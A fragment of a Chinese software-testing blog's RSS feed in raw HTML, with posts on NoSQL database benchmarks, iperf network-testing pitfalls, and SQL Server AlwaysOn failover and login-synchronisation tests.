500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50116" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315436T3hX.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><strong style="word-break: break-all; line-height: normal !important;">6.2测试用例2（1亿记录/ 1000万每节点）</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　在此测试中，原始数据大约为总系统RAM的22%。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50117" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315437N3nJ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50118" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315438BAGK.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=50119" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171315439PzOi.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　<strong style="word-break: break-all; line-height: normal !important;">7.关于作者</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　Tilmann Rabl是多伦多大学（University of Toronto）的博士后以及bankmark公司的CEO。他的研究主要针对于大数据的基准测试以及大数据系统方面。Michael Frank是bankmark公司的CTO，他是工业标准的基准测试方案Parallel Data Generation Framework(PDGF)的核心开发成员之一。ManuelDanisch是bankmark公司的COO。他是BigBench大数据分析基准测试系统的主要开发者之一，此外他还是Transaction Processing Performance Council(TPC) 基准测试 TPC-DI的数据贡献者。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　bankmark是一家独立的基准测评机构，公司为大数据提供了革命性的基准测试方案。受创新技术的推动，bankmark产生了许多优秀而有质量的测试，同时还对很多概念系统进行了验证并成功的将这些概念系统进行生产力模拟以及成本模拟。以前沿科学研究为基础的技术，保证了史无前例的质量和速度。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　bankmark是工业基准测试标准化协会SPEC和TPC的独立成员之一，他们的技术基于TPC-DI和BigBench等基准测试标准。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　<strong style="word-break: break-all; line-height: normal !important;">　8.参考资料</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[1] http://www.sequoiadb.com/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[2] http://cassandra.apache.org/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[3] http://www.mongodb.org/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[4] http://www.datastax.com/documentation/cassandra/2.1/cassandra/install/installRHEL_t.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[5] http://www.datastax.com/documentation/cassandra/2.1/cassandra/install/installRecommendSettings.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[6] http://docs.mongodb.org/manual/tutorial/deploy-shard-cluster/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[7] http://www.sequoiadb.com/en/document/1.8/installation/server_installation/topics/linux_en.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;">　　[8] http://www.sequoiadb.com/en/document/1.8/installation/configuration_start/topics/cluster_en.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></a></div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></div></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421645.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:31 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421645.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Iperf性能测试的问题小结</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421644.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:28:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421644.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421644.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421644.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421644.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421644.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1. Iperf用文件作为数据源无效的问题</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Iperf生成的数据包，默认是0-9这10个数字的循环（十六进制的话就是0x30-0x39的循环），我们可能需要去人工指定数据内容，比如全都置成0来方便的查看物理传输过程中的出错情况，于是我造了一个数据文件之后调用：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　iperf -F /root/input_data -c 1.1.1.11 &#8230;&#8230;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我修改了一下顺序，同时修改了部分代码之后（所以其实也可能是代码问题，不一定是顺序的问题）先设定目标ip，然后指定文件：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　iperf -c 1.1.1.11 -F /root/input_data&#8230;&#8230;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　就可以了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 在代码中修改iperf数据，iperf无法收到，但在mac层能拿到数据</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果不使用问题1所述的用源数据文件的方法，而是在发送方的驱动里面强行修改了数据包的内容，会发现在接收方的驱动中是能够收到数据包的，但是iperf却不能正常接收到数据包，原因如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Iperf在传输层之后还有一个36字节长的首部，作为iperf应用层的首部，如果修改了数据，将导致传传输层/应用层校验失败（传输层使用UDP协议的话，就应该是应用层校验失败了），因此包会被丢掉，iperf无法统计到。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">3. TCP发不出去包的问题</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用iperf发udp是没有问题的，但是发tcp就有问题，最后发现是因为我指定了带宽：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　iperf -c xxx.xxx.xxx.xxx -i 1 -b 600M ...</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　</div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:28 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421644.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AlwaysOn可用性组功能测试(3)-其他测试</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421643.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:27:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421643.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421643.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421643.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421643.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421643.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">三、 大数据量操作的时候发生的切换</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1、对表进行大量插入，执行1千万遍，如下语句</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　insert into aa</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　select * from sys.sysprocesses</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　go 10000000</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2、在执行以上大量插入过程中，进行故障转移</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ALTER AVAILABILITY GROUP alwayson01 FAILOVER</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3、转移时间30秒，下图为转移过程恢复alwayson01数据库的日志记录；在恢复过程中发现有大量redo操作，需要等待日志写入到新副本，才能切换。由此可见如果大数据量操作时候发生切换，由于要实现同步，切换将会很缓慢。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49859" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041128041bSgT.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>总结</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　切换过程会先停止原主副本的操作，新主副本实现同步；若存在大事务则需要大量io和cpu重做事务，因此切换会存在延迟或者失败。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">四、 手动切换后如何实现用户权限同步</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1、 在CLUSTEST03\CLUSTEST03新建用户uws_test，具有alwaysOn01的读写权限。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2、 切换后，客户端需要继续使用uws_test连接<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>，必须要求SERVER03也存在uws_test用户，并同时存在读写权限。需要新建与CLUSTEST03\CLUSTEST03相同sid的uws_test用户，由于当前SERVER03的副本不可使用，因此不能赋予其他权限。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49850" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126391G0yH.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　-- Login: uws_test</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　CREATE LOGIN [uws_test]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　WITH PASSWORD = 0x0200C660EBCDC35F583546868ADFF2DC0D7213C30E373825E4E6781C024122E646A86355D040FDB12AAC523499FCEE799BB4F78DA47131E40DB33180434EA80C9873F0B19A9E HASHED,</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　SID = 0xE4382508B889704E8291DBF759B5BDA8, DEFAULT_DATABASE = [master], CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3、 执行切换语句后，查看SERVER03上uws_test用户权限是否已经同步。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ALTER AVAILABILITY GROUP alwayson01 FAILOVER</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试总结</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1、 只有在备机新建相同sid的用户才能实现权限同步。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49851" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412041126392FDYc.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2、 若只是新建相同名字的用户，则会导致切换后，数据库存在孤立用户，相同名字的用户也不会有权限。<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">五、 主\辅助副本自动备份切换实现测试</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">　</strong>　1、 利用一下语句，确认首选备份</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　if ( sys.fn_hadr_backup_is_preferred_replica('alwayson01'))=1</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　begin</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　print '开始备份'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　print '结束备份'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　end</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　else</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　print '不备份'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2、 当前实例在SERVER03上，目前是以首选辅助副本未备份。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=49852" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014120411263931PLe.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; 